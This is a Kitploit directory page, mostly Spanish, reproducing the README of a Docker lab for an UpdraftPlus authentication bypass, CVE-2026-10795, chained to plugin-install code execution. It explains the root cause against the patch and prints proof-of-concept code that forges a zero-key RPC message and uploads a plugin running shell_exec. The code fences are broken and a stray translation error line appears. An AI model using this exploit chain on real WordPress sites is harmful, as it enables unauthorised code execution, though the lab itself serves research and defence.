Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-10795-Lab — Laboratorio Docker que reproduce CVE-2026-10795: omisión de autenticación de UpdraftPlus UpdraftCentral encadenada a la instalación de complementos para RCE. Incluye objetivos vulnerables/parcheados, exploit PoC y recorrido a nivel de código fuente. | Kitploit
Herramientas/GitHubGitHub/rootdirective-sec/cve-2026-10795-lab
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubrootdirective-sec/cve-2026-10795-lab

CVE-2026-10795-Lab

Laboratorio Docker que reproduce CVE-2026-10795: omisión de autenticación de UpdraftPlus UpdraftCentral encadenada a la instalación de complementos para RCE. Incluye objetivos vulnerables/parcheados, exploit PoC y recorrido a nivel de código fuente.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 2 mesesAún no revisado

CVE Lab: CVE-2026-10795 - Omisión de Autenticación RPC de UpdraftCentral en UpdraftPlus Encadenada a la Instalación de Plugins

Resumen Ejecutivo

Este repositorio contiene un laboratorio Docker local para reproducir y validar CVE-2026-10795, una vulnerabilidad de omisión de autenticación no autenticada que afecta al plugin UpdraftPlus de WordPress a través de su capa de comunicación remota UpdraftCentral.

El comportamiento vulnerable existe en el flujo de manejo de mensajes RPC de UpdraftCentral. En las versiones vulnerables, un mensaje RPC falsificado con format=1 puede omitir la verificación de firma, activar una ruta fallida de descifrado RSA y aun así llegar al descifrado simétrico con un comportamiento predecible de clave nula/IV nulo. Esto permite que un mensaje RPC cifrado y manipulado sea aceptado y despachado como un comando de UpdraftCentral.

Este laboratorio compara dos versiones de UpdraftPlus:

ServicioVersión de UpdraftPlusPropósitoURL
vuln1.26.4Objetivo de comparación vulnerablehttp://127.0.0.1:8081
patched1.26.5Objetivo de comparación parcheadohttp://127.0.0.1:8082

La cadena demostrada es:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint

root@kitploit:~
La vulnerabilidad principal es la omisión de autenticación. El laboratorio demuestra que la omisión puede encadenarse a un impacto de tipo RCE cuando está presente un estado de clave UpdraftCentral privilegiado, porque UpdraftCentral expone comandos legítimos de gestión de plugins que pueden instalar y activar plugins de WordPress.

No se trata de una vulnerabilidad directa de inyección de comandos. La prueba de ejecución de código proviene de abusar de la funcionalidad autenticada de instalación de plugins tras omitir el límite de autenticación RPC.

Este laboratorio está diseñado únicamente para investigación local controlada, comprensión a nivel de código fuente y demostración en portafolio.

## Datos verificados

| Afirmación                                                            | Evidencia                                                                                             | Cómo verificarlo en este laboratorio                                  |
| --------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------- |
| UpdraftPlus 1.26.4 es vulnerable en este laboratorio.                 | El servicio vulnerable acepta un mensaje RPC falsificado con `format=1` y despacha `plugin.upload_plugin`. | Ejecuta `python3 poc/poc.py --url http://127.0.0.1:8081`.            |
| UpdraftPlus 1.26.5 bloquea el mensaje falsificado en este laboratorio. | El servicio parcheado no devuelve un cuerpo de respuesta RPC y no despacha el comando falsificado.    | Ejecuta `python3 poc/poc.py --url http://127.0.0.1:8082`.            |
| El problema es una omisión de autenticación en la capa RPC de UpdraftCentral. | Una solicitud RPC falsificada sin autenticación puede llegar al despacho de comandos en la versión vulnerable. | Compara el comportamiento de `--ping` entre los puertos `8081` y `8082`. |
| El laboratorio no preinstala el plugin marcador.                      | La configuración solo instala WordPress, UpdraftPlus y un estado de clave UpdraftCentral local.       | Comprueba `/wp-json/cve-lab/v1/id` antes de ejecutar el PoC.          |
| El PoC instala el plugin marcador mediante RPC falsificado.           | El PoC envía `plugin.upload_plugin` con una carga útil de plugin en ZIP en el campo de datos RPC.     | Ejecuta el PoC y luego solicita `/wp-json/cve-lab/v1/id`.             |
| El objetivo vulnerable alcanza un impacto de tipo RCE.                | El plugin marcador expone un endpoint codificado que devuelve la salida de `/usr/bin/id`.             | El objetivo vulnerable devuelve `uid=33(www-data) gid=33(www-data)`.  |
| El objetivo parcheado no instala el plugin marcador.                  | El endpoint marcador devuelve `404 rest_no_route` en el servicio parcheado.                           | Ejecuta el PoC contra `http://127.0.0.1:8082`.                        |
| El laboratorio requiere un estado de clave UpdraftCentral.            | El despacho de UpdraftCentral depende de una entrada de clave local y sus metadatos asociados.        | Revisa `scripts/setup-wordpress.sh`.                                   |

## Supuestos y desconocidos

Este laboratorio siembra intencionalmente un estado de clave UpdraftCentral local para reproducir una condición del sitio en la que se ha configurado el control remoto.

El estado de clave sembrado es un requisito previo del laboratorio, no la vulnerabilidad en sí. Permite que el laboratorio ejercite de forma consistente la ruta vulnerable de análisis y descifrado RPC.

El laboratorio no afirma que toda instalación de UpdraftPlus sea explotable de inmediato. La cadena demostrada depende de la presencia de una entrada de clave local de UpdraftCentral asociada a un usuario privilegiado de WordPress.

El laboratorio demuestra un impacto controlado de tipo RCE instalando un plugin marcador que expone un endpoint de prueba codificado con `/usr/bin/id`. No proporciona una shell web genérica, un parámetro arbitrario de ejecución de comandos, una reverse shell, un mecanismo de persistencia, robo de credenciales ni devoluciones de llamada externas.

El PoC está limitado a objetivos locales únicamente y rechaza nombres de host no locales por defecto.

## Resumen de la causa raíz

La causa raíz es una validación incorrecta de los mensajes RPC de UpdraftCentral en versiones vulnerables de UpdraftPlus.

El flujo RPC vulnerable acepta un mensaje con `format=1`. La ruta de `format=1` no requiere la misma verificación de firma que los formatos de mensaje más recientes.

El problema de alto nivel es:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched

En el comportamiento vulnerable, el descifrado RSA puede devolver:```text false

root@kitploit:~
En lugar de rechazar ese resultado de descifrado fallido, el flujo vulnerable continúa y pasa el valor a la capa de descifrado simétrico.

El patrón vulnerable efectivo es:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);

The problem is that $sym_key is not validated before it is used.

When $sym_key is false, the cipher setup follows a predictable null key/null IV behavior. This makes it possible to craft an encrypted RPC payload using a known zero key and zero IV.

The patched version adds a guard before the symmetric key is used:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
Esto cambia el límite de confianza.

Antes del parche:```text
failed RSA decrypt result could still reach symmetric decrypt

Después del parche:```text failed RSA decrypt result is rejected before command dispatch

root@kitploit:~
This is why the vulnerable service dispatches the forged RPC command, while the patched service does not.

## Why an Authentication Bypass Can Lead to Code Execution

CVE-2026-10795 is best described as an authentication bypass because the root flaw is in the RPC authentication and message verification layer.

However, after that authentication boundary is bypassed, the attacker-controlled RPC message can reach privileged UpdraftCentral commands.

One important command path is:```text
plugin.upload_plugin

Este comando forma parte de la funcionalidad de gestión de plugins de UpdraftCentral. Acepta un payload ZIP de plugin, lo escribe en una ubicación temporal, instala el plugin y lo activa cuando se solicita.

Por lo tanto, la cadena de impacto es:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution

root@kitploit:~
Esto no es inyección de comandos.

El laboratorio demuestra la ejecución de código mediante la instalación de un plugin marcador que expone un único endpoint:```text
/wp-json/cve-lab/v1/id

El plugin marker no acepta un parámetro de comando. Solo se ejecuta:```text /usr/bin/id

root@kitploit:~
Esto mantiene la prueba controlada y evita convertir el laboratorio en un shell web de propósito general.

## Resumen del parche de origen

El comportamiento relevante del parche es que la versión parcheada rechaza las claves simétricas no válidas antes de intentar descifrar el cuerpo del mensaje RPC.

La validación importante es:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

Esto evita el comportamiento de respaldo vulnerable en el que un resultado fallido de descifrado RSA puede convertirse en una ruta de clave simétrica predecible.

El resultado práctico es:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch

UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached

root@kitploit:~
El laboratorio también valida el impacto posterior al apuntar a la ruta real del comando de carga del plugin UpdraftCentral.

El comportamiento relevante del comando es:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()

La versión parcheada bloquea el mensaje falsificado antes de que se alcance esta ruta de comando.

Recorrido a nivel de código fuente

Esta sección explica la ruta vulnerable a nivel de código fuente y asigna cada paso del PoC al comportamiento correspondiente de UpdraftPlus / UpdraftCentral.

El laboratorio no depende de una ruta de aplicación vulnerable falsa. El comportamiento vulnerable se alcanza a través del listener RPC real de UpdraftCentral y la ruta real de gestión de plugins de UpdraftCentral.

Las áreas importantes del código fuente son:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php

root@kitploit:~
### Creación del listener

La ruta RPC vulnerable comienza cuando WordPress recibe una solicitud POST que contiene:```text
udrpc_message
format
key_name

La biblioteca RPC registra un listener en wp_loaded de WordPress cuando esos campos POST existen.

Conceptualmente, el flujo es:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }

root@kitploit:~
Esto significa que el atacante no necesita conocer un endpoint REST especial ni una URL de administración. La solicitud RPC falsificada se envía como una solicitud POST normal a la raíz del sitio de WordPress.

El PoC envía:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>

La solicitud llega a la misma ruta de escucha utilizada por la comunicación remota legítima de UpdraftCentral.

Coincidencia de nombres de clave

UpdraftCentral almacena claves locales de control remoto en las opciones de WordPress. En este laboratorio, el script de configuración inicializa un estado de clave controlado tanto para los objetivos vulnerables como para los parcheados.

El nombre de clave relevante es:```text 0.central.updraftplus.com

root@kitploit:~
Este formato es producido por la lógica de indicadores clave de UpdraftCentral:```php
private function indicator_name_from_index($index) {
    return $index.'.central.updraftplus.com';
}

El listener solo continúa si el campo POST sin cifrar coincide con el indicador de clave esperado:```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }

root@kitploit:~
El PoC, por lo tanto, establece:```python
KEY_NAME = "0.central.updraftplus.com"

Esto no es la vulnerabilidad. Es un prerrequisito de laboratorio que permite que la prueba ejercite la ruta vulnerable de análisis y descifrado RPC de forma reproducible.

Manejo de formatos y omisión de firmas

UpdraftCentral admite formatos de mensaje. La distinción importante es:```text format=1 legacy path format=2 signed message path

root@kitploit:~
En la ruta de código vulnerable, la verificación de firma solo se realiza cuando el formato es mayor o igual a 2:```php
if ($format >= 2) {
    if (empty($_POST['signature'])) {
        die;
    }

    if (!$this->key_remote) {
        die;
    }

    if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
        die;
    }
}

Porque el PoC utiliza:```text format=1

root@kitploit:~
este bloque de verificación de firma se omite.

Ese es el límite de la omisión de autenticación.

Un mensaje legítimo `format=2` debe incluir una firma válida. El mensaje falsificado `format=1` no necesita una, por lo que el mensaje controlado por el atacante puede continuar hacia la ruta de descifrado.

### Flujo de descifrado vulnerable

Tras las comprobaciones de formato y nombre de clave, el listener descifra el `udrpc_message` enviado.

El flujo de descifrado vulnerable en UpdraftPlus 1.26.4 es efectivamente:```php
$rsa->loadKey($this->key_local);

$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);

$rij->setKey($sym_key);

return $rij->decrypt($ciphertext);

El error está entre estas dos operaciones:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);

root@kitploit:~
Si el descifrado RSA falla, `$rsa->decrypt()` puede devolver:```php
false

La versión vulnerable no rechaza ese valor antes de pasarlo a:```php $rij->setKey($sym_key);

root@kitploit:~
La versión parcheada corrige esto añadiendo validación:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

Esta salvaguarda es el parche relevante para la seguridad. Evita que un resultado fallido de descifrado RSA llegue a la configuración del cifrado simétrico.

Por qué false se vuelve predecible

El comportamiento vulnerable es peligroso porque setKey(false) no falla de forma segura en esta ruta de phpseclib.

El código del cifrado calcula la longitud de la clave a partir de la clave proporcionada:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;

root@kitploit:~
Cuando `$key` es `false`, `strlen(false)` se comporta como un caso de clave de longitud cero.

La lógica de longitud de clave de Rijndael redondea tamaños de clave muy pequeños hacia arriba hasta una longitud mínima válida de clave:```php
case $length <= 128:
    $this->key_length = 16;
    break;

La configuración del cifrado rellena luego la clave y el IV con bytes nulos:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");

$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");

root@kitploit:~
Entonces el atacante puede modelar el comportamiento vulnerable de descifrado como:```text
AES/Rijndael-CBC
key = 16 null bytes
iv  = 16 null bytes

Por eso el PoC puede cifrar un comando JSON RPC localmente y hacer que el objetivo vulnerable lo descifre correctamente.

Estructura de mensaje utilizada por el PoC

La función de descifrado vulnerable espera que el mensaje cifrado contenga:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body

root@kitploit:~
El PoC construye esta estructura manualmente:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")

sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

El bloque RSA es intencionalmente inválido:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

root@kitploit:~
En UpdraftPlus 1.26.4, ese bloque RSA no válido hace que el descifrado RSA falle, pero el fallo no se rechaza.

En UpdraftPlus 1.26.5, el resultado de descifrado fallido es rechazado por el nuevo guard y el mensaje forjado no llega al despacho de comandos.

### Mensaje JSON RPC interno

El mensaje interno cifrado es un comando JSON normal del estilo UpdraftCentral.

Para la validación de ping, el PoC usa:```json
{
  "command": "ping",
  "time": 1710000000,
  "key_name": "0.central.updraftplus.com",
  "rand": 123456
}

Para la prueba de ID predeterminada, el PoC utiliza:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }

root@kitploit:~
El `key_name` aparece tanto fuera como dentro del mensaje cifrado. El listener comprueba que ambos coinciden:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
    die;
}

Por eso el PoC debe incluir el mismo nombre de clave en ambos lugares.

Validación JSON antes del envío

Después de descifrar el mensaje, el listener lo analiza como JSON:```php $udrpc_message = json_decode($udrpc_message, true);

root@kitploit:~
El mensaje debe contener un comando válido:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
    die;
}

También debe contener una marca de tiempo:```php if (empty($udrpc_message['time'])) { die; }

root@kitploit:~
La marca de tiempo debe estar dentro de la ventana de reproducción permitida:```php
$time_difference = absint($udrpc_message['time'] - time());

if ($time_difference > $this->maximum_replay_time_difference) {
    die;
}

El PoC, por lo tanto, establece el campo time interno a la hora actual.

Despacho de comandos

Después de que el mensaje es descifrado y validado, UpdraftCentral despacha el comando.

Los comandos utilizan un formato de prefijo:```text .

root@kitploit:~
Por ejemplo:```text
plugin.upload_plugin

Esto se convierte en:```text prefix = plugin method = upload_plugin

root@kitploit:~
El listener resuelve la clase de comando a partir del prefijo y luego llama al método dinámicamente:```php
$msg = apply_filters(
    'updraftcentral_listener_udrpc_action',
    call_user_func(array($command_class, $command), $data, $extra_info),
    $command_class,
    $class_prefix,
    $command,
    $data,
    $extra_info
);

Para el comando PoC:```text plugin.upload_plugin

root@kitploit:~
el listener llama:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)

Esta es la razón por la que el PoC no necesita un sumidero de inyección de comandos directo. Alcanza un comando privilegiado legítimo de UpdraftCentral después de evadir el límite de autenticación RPC.

Contexto de usuario y comprobaciones de capacidades

El listener puede establecer el usuario actual de WordPress a partir de los metadatos de la clave UpdraftCentral:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }

root@kitploit:~
En este laboratorio, la clave sembrada tiene:```text
extra_info.user_id = 1

Eso simula una clave UpdraftCentral configurada asociada al usuario administrador creado durante la instalación de WordPress.

Esto importa porque la ruta de subida del plugin comprueba las capacidades de WordPress:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }

root@kitploit:~
Entonces, la evasión por sí sola lleva el comando falsificado a la capa RPC. Los metadatos de la clave sembrada determinan en qué contexto de usuario de WordPress se ejecuta el comando.

En este laboratorio, el comando se ejecuta en contexto de administrador porque la clave está asociada con el ID de usuario 1.

### Sumidero de carga de plugin

El método del comando es:```php
public function upload_plugin($params) {
    return $this->process_chunk_upload($params, 'plugin');
}

El manejador de subida compartido espera los datos de subida del plugin:```text filename data activate

root@kitploit:~
El PoC envía:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

El manejador de carga escribe el contenido del ZIP en un archivo temporal:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );

root@kitploit:~
Para una carga no fragmentada, la instalación procede inmediatamente:```php
$install_now = true;

El manejador luego construye una ruta ZIP:```php $zip_filepath = $upload_dir.'/'.$filename;

root@kitploit:~
y lo instala utilizando el actualizador de plugins de UpdraftCentral:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);

Si la instalación se realiza correctamente y activate es verdadero, el código activa el plugin instalado:```php if ((bool) $params['activate'] && !$is_active) { $activate = activate_plugin($data['slug']); }

root@kitploit:~
Una respuesta de instalación exitosa contiene:```php
return $this->_response(
    array(
        'installed' => true,
        'installed_data' => $data,
    )
);

Esta es la razón a nivel de código fuente por la cual una omisión de autenticación RPC falsificada puede encadenarse con la instalación y activación de plugins de WordPress.

Plugin marcador

El plugin marcador es generado por el PoC en memoria. No está preinstalado por la configuración de Docker.

El ZIP generado contiene:```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php

root@kitploit:~
El complemento de marcadores registra una ruta REST:```text
/wp-json/cve-lab/v1/id

El endpoint devuelve:```text lab plugin proof uid gid user id_output

root@kitploit:~
El único comando ejecutado por el plugin de marcadores está codificado de forma fija:```php
shell_exec('/usr/bin/id 2>&1');

No hay un parámetro cmd controlado por el usuario.

Esto es intencional. El laboratorio demuestra la ejecución de código de plugin evitando un web shell genérico.

Por qué el objetivo parcheado devuelve 404

El servicio parcheado recibe la misma solicitud forjada y tiene el mismo estado de clave con semilla.

La diferencia está en la protección de descifrado parcheada:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
Debido a que el PoC suministra intencionalmente un bloque RSA inválido, la clave simétrica descifrada es inválida.

En UpdraftPlus 1.26.5, el mensaje falsificado se detiene antes del análisis JSON y antes del despacho de comandos.

Por lo tanto:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route

Este comportamiento corregido demuestra que el resultado del laboratorio depende de la ruta de código vulnerable de UpdraftPlus RPC, no del entorno Docker.

Mapeo de PoC a fuente

Cómo se corresponde el código del PoC con la vulnerabilidad

El PoC comienza rechazando objetivos no locales:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}

if host not in allowed_hosts: raise ValueError("Refusing non-local target")

root@kitploit:~
Esto mantiene el script acotado al laboratorio Docker.

El PoC construye el mensaje RPC interno:```python
inner = {
    "command": command,
    "time": int(time.time()),
    "key_name": KEY_NAME,
    "rand": random.randint(1, 2_147_483_647),
}

Si se utiliza la prueba de ID predeterminada, el comando es:```python command = "plugin.upload_plugin"

root@kitploit:~
y los datos son:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

El PoC luego cifra el JSON interno con el predecible estado de cifrado vulnerable:```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16

cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))

root@kitploit:~
Esto coincide con la consecuencia vulnerable de pasar `false` a la configuración del cifrado simétrico.

El PoC utiliza intencionalmente un bloque RSA inválido:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

El udrpc_message resultante se construye en el mismo formato con prefijo de longitud que espera la función de descifrado RPC:```python sym_key_len = f"{len(bad_sym_key_b64):03x}" ciphertext_len = f"{len(ciphertext_b64):016x}"

return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

root@kitploit:~
Finalmente, el PoC envía la solicitud RPC falsificada:```python
fields = {
    "format": "1",
    "key_name": KEY_NAME,
    "udrpc_message": build_udrpc_message(command, data),
}

requests.post(target, data=fields, timeout=timeout)

En el objetivo vulnerable, la respuesta del servidor contiene un cuerpo de respuesta JSON válido de estilo RPC. El PoC lo trata como:```text RPC DISPATCHED

root@kitploit:~
Después del envío, el PoC verifica el impacto solicitando el endpoint marcador:```text
GET /wp-json/cve-lab/v1/id

Si el plugin marker fue instalado y activado, el endpoint devuelve:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~
Esa salida demuestra que el mensaje RPC no autenticado falsificado llegó a una ruta privilegiada de instalación de plugins y activó el código de plugin proporcionado por el atacante dentro del laboratorio local.

## Lo que demuestra el laboratorio

Este laboratorio demuestra la siguiente cadena técnica:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.

El laboratorio no demuestra que cada instalación sea explotable sin requisitos previos.

El requisito previo necesario para esta demostración es:```text an existing UpdraftCentral local key state associated with a privileged WordPress user

root@kitploit:~
La configuración de Docker crea ese requisito previo en ambos objetivos para que la diferencia entre el comportamiento vulnerable y el parcheado pueda probarse de manera justa.

## Arquitectura del laboratorio

El laboratorio ejecuta dos instalaciones de WordPress aisladas mediante Docker Compose.```text
.
├── docker-compose.yml
├── scripts/
│   └── setup-wordpress.sh
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── requirements.txt
├── README.md
└── .gitignore

Los dos servicios de WordPress ejecutan bases de datos separadas y versiones separadas de UpdraftPlus:

Servicios expuestos por defecto:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082

root@kitploit:~
El proceso de configuración introduce el mismo estado de clave de UpdraftCentral en ambos servicios:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1

Esto le da a ambos objetivos el mismo estado previo requerido. La diferencia de comportamiento proviene del código de UpdraftPlus vulnerable frente al parcheado, no de una configuración de laboratorio distinta.

Requisitos

  • Docker Desktop o Docker Engine
  • Docker Compose v2
  • Python 3
  • Soporte para entornos virtuales de Python
  • Acceso a Internet durante la construcción de la imagen Docker
  • Paquetes de Python enumerados en requirements.txt

Dependencias de Python:```text requests urllib3<2 pycryptodome

root@kitploit:~
La restricción `urllib3<2` evita advertencias relacionadas con LibreSSL en algunas compilaciones de Python para macOS.

## Inicio rápido

Empieza desde un estado de laboratorio limpio:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Ver registros de configuración:```bash docker compose logs -f vuln_setup patched_setup

root@kitploit:~
Indicadores de configuración esperados:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln

No se proporcionó texto de entrada para traducir.```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched

root@kitploit:~
Comprueba los servicios en ejecución:```bash
docker compose ps

Crear y activar un entorno virtual de Python:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt

root@kitploit:~
Ejecuta el ID proof predeterminado contra el objetivo vulnerable:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

Ejecute la misma prueba contra el objetivo parcheado:```bash python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
El script requiere la opción `--url` intencionalmente. Esto obliga al probador a elegir el objetivo explícitamente en lugar de atacar automáticamente ambos servicios.

## Uso del PoC

Comportamiento por defecto:```bash
python3 poc/poc.py --url <local_target_url>

Ejemplo de objetivo vulnerable:```bash python3 poc/poc.py --url http://127.0.0.1:8081

root@kitploit:~
Ejemplo de objetivo parcheado:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

Validación opcional solo con ping:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082

root@kitploit:~
Supported options:

| Option      | Required | Purpose                                                 |
| ----------- | -------- | ------------------------------------------------------- |
| `--url`     | Sí       | URL del objetivo del laboratorio local                   |
| `--ping`    | No       | Ejecutar validación de ping falsificado inofensivo en lugar de la prueba de ID |
| `--timeout` | No       | Tiempo de espera HTTP en segundos. Predeterminado: `15`  |

Accepted target hosts:```text
127.0.0.1
localhost
::1

El PoC rechaza objetivos no locales por defecto.

Cómo funciona el PoC

El PoC se ejecuta desde la máquina host y envía peticiones HTTP a los servicios Docker expuestos.

La acción por defecto del PoC es la prueba de ID.

El flujo de alto nivel es:```text

  1. Receive explicit --url target from the tester
  2. Refuse non-local targets
  3. Build a marker WordPress plugin ZIP in memory
  4. Create a forged UpdraftCentral RPC message
  5. Send command plugin.upload_plugin through format=1
  6. Trigger the vulnerable decrypt/dispatch path on UpdraftPlus 1.26.4
  7. Install and activate the marker plugin
  8. Request /wp-json/cve-lab/v1/id
  9. Print the hard-coded /usr/bin/id output
root@kitploit:~
El plugin de marcador no se almacena en el repositorio como un archivo de plugin independiente. Se genera en memoria por el PoC.

El comando RPC forjado es:```text
plugin.upload_plugin

Los datos RPC contienen:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true

root@kitploit:~
El PoC cifra el mensaje JSON RPC interno utilizando:```text
AES-CBC
key = 16 null bytes
iv  = 16 null bytes

También incluye un bloque de clave simétrica cifrada con RSA intencionalmente no válido.

En la versión vulnerable, el fallo de descifrado RSA no se rechaza. El mensaje continúa hacia la ruta predecible de descifrado con clave nula y el comando falsificado se envía.

En la versión parcheada, la clave simétrica no válida se rechaza y el comando falsificado no se envía.

Por qué existe --ping

La opción --ping es una ayuda de depuración.

Solo valida la evasión criptográfica y el límite de despacho RPC. No sube un plugin ni ejecuta /usr/bin/id.

Use --ping cuando la prueba de identidad predeterminada no funcione y sea necesario aislar el fallo.

Si --ping falla, es probable que el problema ocurra antes de la ejecución del comando:```text wrong key state wrong key_name message format issue encryption mismatch listener not active patched behavior

root@kitploit:~
Si `--ping` tiene éxito pero la prueba de ID falla, es probable que el problema esté después del envío:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue

Comportamiento esperado del ping:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED

root@kitploit:~
## Resultados Esperados

### Objetivo Vulnerable

Comando:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

Señal vulnerable esperada:```text CVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php

Target : http://127.0.0.1:8081/ Command : plugin.upload_plugin Decision : RPC DISPATCHED HTTP status : 200 Body bytes : non-zero RPC JSON seen : True Resp. format : 2

ID endpoint : http://127.0.0.1:8081/wp-json/cve-lab/v1/id Marker active : True HTTP status : 200 id output : uid=33(www-data) gid=33(www-data) groups=33(www-data)

Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).

